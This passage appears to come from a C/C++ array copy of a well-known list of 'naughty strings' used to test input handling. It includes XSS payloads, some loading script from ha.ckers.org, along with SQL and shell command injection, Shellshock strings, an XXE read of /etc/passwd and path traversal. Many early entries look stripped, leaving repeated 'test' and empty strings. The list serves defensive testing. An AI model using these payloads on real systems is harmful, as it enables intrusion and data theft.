DEF",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"
test",
"`\"'>
",
"`\"'>
",
"`\"'>
",
"`\"'>
",
"`\"'>
",
"`\"'>
",
"`\"'>
",
"`\"'>
",
"`\"'>
",
"`\"'>
",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"\"`'>",
"
![]()
",
"
![]()
",
"
![]()
",
"
![]()
",
"
",
"",
"",
"",
"",
"",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![]()
",
"![](x\\x09onerror=\"javascript:alert(1)\")
",
"![](x\\x10onerror=\"javascript:alert(1)\")
",
"![](x\\x11onerror=\"javascript:alert(1)\")
",
"![](x\\x12onerror=\"javascript:alert(1)\")
",
"![](x\\x13onerror=\"javascript:alert(1)\")
",
"",
"
",
"",
"",
"",
"",
"",
"XXX",
"![](\"x`)
javascript:alert(1)\"` `>",
"![]()
",
"",
"<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x "
"onerror=javascript:alert(1)></a>\">",
"<!--[if]><script>javascript:alert(1)</script -->",
"<!--[if<img src=x onerror=javascript:alert(1)//]> -->",
"<script src=\"/\%(jscript)s\"></script>",
"<script src=\"\\%(jscript)s\"></script>",
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">",
"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
"<IMG SRC=# onmouseover=\"alert('xxs')\">",
"<IMG SRC= onmouseover=\"alert('xxs')\">",
"<IMG onmouseover=\"alert('xxs')\">",
"<IMG "
"SRC=javascript:a&#"
"108;ert('XSS')>",
"<IMG "
"SRC=javascr&#"
"0000105pt:aler&#"
"0000116&#"
"0000040'XSS')>",
"<IMG "
"SRC=javascript:al&#"
"x65rt('XSS')>",
"<IMG SRC=\"jav ascript:alert('XSS');\">",
"<IMG SRC=\"jav ascript:alert('XSS');\">",
"<IMG SRC=\"jav
ascript:alert('XSS');\">",
"<IMG SRC=\"jav
ascript:alert('XSS');\">",
"perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out",
"<IMG SRC=\" javascript:alert('XSS');\">",
"<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
"<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>",
"<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
"<<SCRIPT>alert(\"XSS\");//<</SCRIPT>",
"<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >",
"<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=\"javascript:alert('XSS')\"",
"<iframe src=http://ha.ckers.org/scriptlet.html <", "\\\";alert('XSS');//",
"<u oncopy=alert()> Copy me</u>",
"<i onwheel=alert(1)> Scroll over me </i>", "<plaintext>",
"http://a/%%30%30", "</textarea><script>alert(123)</script>",
// SQL Injection
//
// Strings which can cause a SQL injection if inputs are not sanitized
"1;DROP TABLE users", "1'; DROP TABLE users-- 1", "' OR 1=1 -- 1",
"' OR '1'='1", " ", "%", "_",
// Server Code Injection
//
// Strings which can cause user to run code on server as a privileged user
//(c.f. https://news.ycombinator.com/item?id=7665153)
"-", "--", "--version", "--help", "$USER",
"/dev/null; touch /tmp/blns.fail ; echo", "`touch /tmp/blns.fail`",
"$(touch /tmp/blns.fail)", "@{[system \"touch /tmp/blns.fail\"]}",
// Command Injection (Ruby)
//
// Strings which can call system commands within Ruby/Rails applications
"eval(\"puts 'hello world'\")", "System(\"ls -al /\")", "`ls -al /`",
"Kernel.exec(\"ls -al /\")", "Kernel.exit(1)", "%x('ls -al /')",
// XXE Injection (XML)
//
// String which can reveal system files when parsed by a badly configured
// XML parser
"<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [ <!ELEMENT "
"foo ANY ><!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]><foo>&xxe;</foo>",
// Unwanted Interpolation
//
// Strings which can be accidentally expanded into different strings if
// evaluated in the wrong context, e.g. used as a printf format string or
// via
// Perl or
// shell eval. Might expose sensitive data from the program doing the
// interpolation, or might just represent the wrong string.
"$HOME", "$ENV{'HOME'}", "%d", "%s", "{0}", "%*.*s", "File:///",
// File Inclusion
//
// Strings which can cause user to pull in files that should not be a part
// of a web server
"../../../../../../../../../../../etc/passwd%00",
"../../../../../../../../../../../etc/hosts",
// Known CVEs and Vulnerabilities
//
// Strings that test for known vulnerabilities
"() { 0; }; touch /tmp/blns.shellshock1.fail;",
"() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }",
"<<< %s(un='%s') = %u", "+++ATH0",
// MSDOS/Windows Special Filenames
//
// Strings which are reserved characters in MSDOS/Windows
"CON", "PRN", "AUX", "CLOCK$", "NUL", "A:", "ZZ:", "COM1", "LPT1", "LPT2",
"LPT3", "COM2", "COM3", "COM4",
// IRC specific strings
//
// Strings that may occur on IRC clients that make security products freak
// out
"DCC SEND STARTKEYLOGGER 0 0 0",
// Scunthorpe Problem
//
// Innocuous strings which may be blocked by profanity filters
//(https://en.wikipedia.org/wiki/Scunthorpe_problem)
"Scunthorpe General Hospital", "Penistone Community Church",
"Lightwater Country Park", "Jimmy Clitheroe", "Horniman Museum",
"shitake mushrooms", "RomansInSussex.co.uk", "http://www.cum.qc.ca/",
"Craig Cockburn, Software Specialist", "Linda Callahan",
"Dr. Herman I. Libshitz", "magna cum laude", "Super Bowl XXX",
"medieval erection of parapets", "evaluate", "mocha", "expression",
"Arsenal canal", "classic", "Tyson Gay", "Dick Van Dyke", "basement",
// Human injection
//
// Strings which may cause human to reinterpret worldview
"If you're reading this, you've been in a coma for almost 20 years now. "
"We're trying a new technique. We don't know where this message will end "
"up in your "
"dream, but we hope it works. Please wake up, we miss you.",
// Terminal escape codes
//
// Strings which punish the fools who use cat/type on this file
"Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy "
"terminal hue",
"But now...[20Cfor my greatest trick...[8m",
"The quick brown fox... [Beeeep]",
// iOS Vulnerabilities
//
// Strings which crashed iMessage in various versions of iOS
"Powerﾄﾏﾄﾏﾵﾑﾨﾏﾄﾏﾄ"
"ﾵ"
""
"ﾑ"
""
"ﾨ"
""
"ﾏ"
""
"ﾱ"
""
"ﾱ"
"ﾋ ￠ﾥﾣ ￠ﾥﾣh ￠ﾥﾣ "
"￠ﾥﾣ￥ﾆﾗ",
"ﾟﾏﾳ0ﾟﾌﾈﾸﾏ"};
// clang-format on